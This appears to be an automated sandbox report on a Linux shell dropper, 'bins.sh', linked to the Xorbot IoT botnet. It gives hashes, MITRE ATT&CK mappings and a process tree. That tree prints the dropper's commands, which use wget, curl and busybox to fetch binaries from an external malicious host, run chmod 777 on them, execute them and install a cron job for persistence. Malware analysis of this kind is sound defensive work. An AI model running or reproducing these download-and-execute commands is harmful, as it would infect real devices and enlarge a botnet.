xorbot | ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b

Analysis

max time kernel
144s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 03:12

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General

Target

bins.sh
Size

10KB
MD5

e30ffb2eaaca92a1709929457fea3835
SHA1

74c6b5d3241f81e97f9ffb9cc0024d1891fca787
SHA256

ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b
SHA512

6ebd2a3b7566114e474308ecf3beb317db5e0434eafebebb917c39627d2a8501cedd6e28b5ff5d139f97b067587b628cc4464eb9444fa8af209988a3d987d45d
SSDEEP

192:lUhghhYFhgShMhQhq/P5tqUUZ+4hghhYFhgShMhQhq/PRsc:lUShOFSS2WqgUUI4ShOFSS2Wq

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1685) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1515	chmod
1523	chmod
1531	chmod
1541	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H	1516	bins.sh
/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE	1524	bins.sh
/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp	1532	bins.sh
/tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0	1542	bins.sh

Renames itself 1 IoCs

pid	Process
1543	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.AhvQ5W	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/29/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/31/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/82/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1331/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1508/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1548/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1607/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1735/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1586/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/169/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/426/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1562/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1693/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1749/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1784/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1030/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/25/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/35/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/81/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1119/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1694/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1711/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/14/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1386/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1568/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1614/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1629/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1646/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/28/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/80/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1585/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1666/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1672/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/165/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/333/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1245/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1719/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/2/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/610/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1551/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1634/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1680/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1755/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/267/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1298/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1308/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1573/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1640/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1734/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1775/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/11/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/166/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/490/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1501/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1575/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1577/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1610/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1649/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/172/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1608/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1612/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1687/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1690/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
File opened for reading	/proc/1697/cmdline	793z21RYyiZLgyJRKzbE3NlntH0woLWKa0

System Network Configuration Discovery 1 TTPs 11 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1507	wget
1511	curl
1514	busybox
1519	wget
1520	curl
1522	busybox
1552	wget
1553	curl
1527	wget
1528	curl
1530	busybox

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H	wget
File opened for modification	/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H	curl
File opened for modification	/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE	wget
File opened for modification	/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE	curl
File opened for modification	/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp	wget
File opened for modification	/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp	curl
File opened for modification	/tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0	wget
File opened for modification	/tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1505
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - System Network Configuration Discovery
  PID:1514
- /bin/chmod
  chmod 777 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  ./1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  PID:1516
- /bin/rm
  rm 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1520
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - System Network Configuration Discovery
  PID:1522
- /bin/chmod
  chmod 777 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  ./4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  PID:1524
- /bin/rm
  rm 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - System Network Configuration Discovery
  PID:1530
- /bin/chmod
  chmod 777 vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  ./vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  PID:1532
- /bin/rm
  rm vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp
  2⤵
  PID:1534
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  - Writes file to tmp directory
  PID:1535
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:1540
- /bin/chmod
  chmod 777 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  ./793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1542
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1544
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1545
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1546
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1547
- /bin/rm
  rm 793z21RYyiZLgyJRKzbE3NlntH0woLWKa0
  2⤵
  PID:1549
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  - System Network Configuration Discovery
  PID:1552
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR
  2⤵
  - System Network Configuration Discovery
  PID:1553

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.AhvQ5W

Filesize
210B

MD5
531b82f72059646a2303ebd456ae2603

SHA1
05e938519533f1233a97affcaf2e7ee6da20a8fa

SHA256
0a790178f765f0853604a9638ae26075ac679614e6228c68dc2337dd6961ca53

SHA512
05e5ccb5a3590b1c1f64f4d21ca129767fd8b95a9dd9c67363adbd859952825904e6e4ff7718e2d789c605b24fe0708177a5866f3a2f5098e4456f1fa768a818

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads